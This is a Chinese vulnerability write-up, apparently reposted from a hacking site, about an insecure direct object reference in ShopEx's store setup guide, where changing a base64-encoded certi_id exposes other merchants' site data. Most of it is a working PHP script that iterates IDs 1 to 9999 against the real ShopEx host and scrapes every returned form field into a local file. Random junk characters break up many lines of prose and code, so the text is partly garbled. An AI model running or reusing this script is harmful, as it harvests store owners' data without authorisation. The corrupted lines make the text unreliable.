ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
  N6 [, S$ G8 [1 xShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面



9 s' X! Z# S; I, c% y3 E1 W3 ^% Bhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
; b  O: i1 M3 |( g0 k' P7 Q
- |+ s/ J/ a' V$ \: S# X

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

1 m* y: a. Y5 u

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
8 z& m0 ?3 r- z5 P: a/ W: c
2 I8 i# H4 l: m1 m
! z' D" J) _8 }# i/ @, s
4 {% G' z  s( ]% g& Q<?php

                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
1 K) f2 X9 Q6 @. h# o
0 ^% j  V* q$ p  D% O                }

9 S! ~8 Z0 S5 N  U. H* d                function ShowshopExD($cid) {
! g. T* ?' a9 P* ~) [2 j$ Z' N6 x
. K" m+ z0 `7 \! S# j                $url='http://guide.ecos.shopex.cn/step2.php';
' R' d+ k8 O7 K. Q2 y4 y' M
- C; ?; C9 x# B# Q0 s                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
3 C+ v, O: _% q0 j* }0 M1 Q
. I9 h3 J4 E! h3 J/ y' p6 [        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
7 b) q$ O1 U( ^7 h* `9 x1 _1 k
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

5 y0 e8 p; A& X- z4 F. U3 W        $result = curl_exec($ch);

8 T2 J: }( f* i5 X        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

: t# @; s, s7 V' Y        if(strpos($result,$refer))
4 R- f& f: g. \) A
; P1 n. f5 D3 x$ [; K2 Q        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
: {1 P& V* J% w7 u
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

: g! O- \. C! T" B* Y7 [. J9 x                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
7 v3 V" e4 h% b4 H( Y
                        echo $res[1][0].':'.$res[3][0]."\r\n";
% Q% Y" R* j8 L" Y; X" [" k  i2 z
" R' b  h3 e8 d3 `                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
( o1 Y7 y, Z% i' b
/ A6 G# n3 j' U4 ]' Z9 s' \2 [                }

                echo '--------------------------------'."\r\n";
, h3 c9 s2 b7 r" H# o1 V& ^9 \
' a1 i5 ^1 m' X: }, m                fclose($fp);

        }
! u7 Z5 C: C7 J2 n" j: I
        flush();
6 ~, [. l. }3 P# N, g: \$ b
        curl_close($ch);
  e7 I( i3 _1 Y! k
                }

?>
6 D8 n- Z. X+ z' N; m- w漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
8 B9 c2 }% p  f( \! B! g( grefer换成其他加密方式
' Q$ V6 B. O  f3 d/ `; S8 X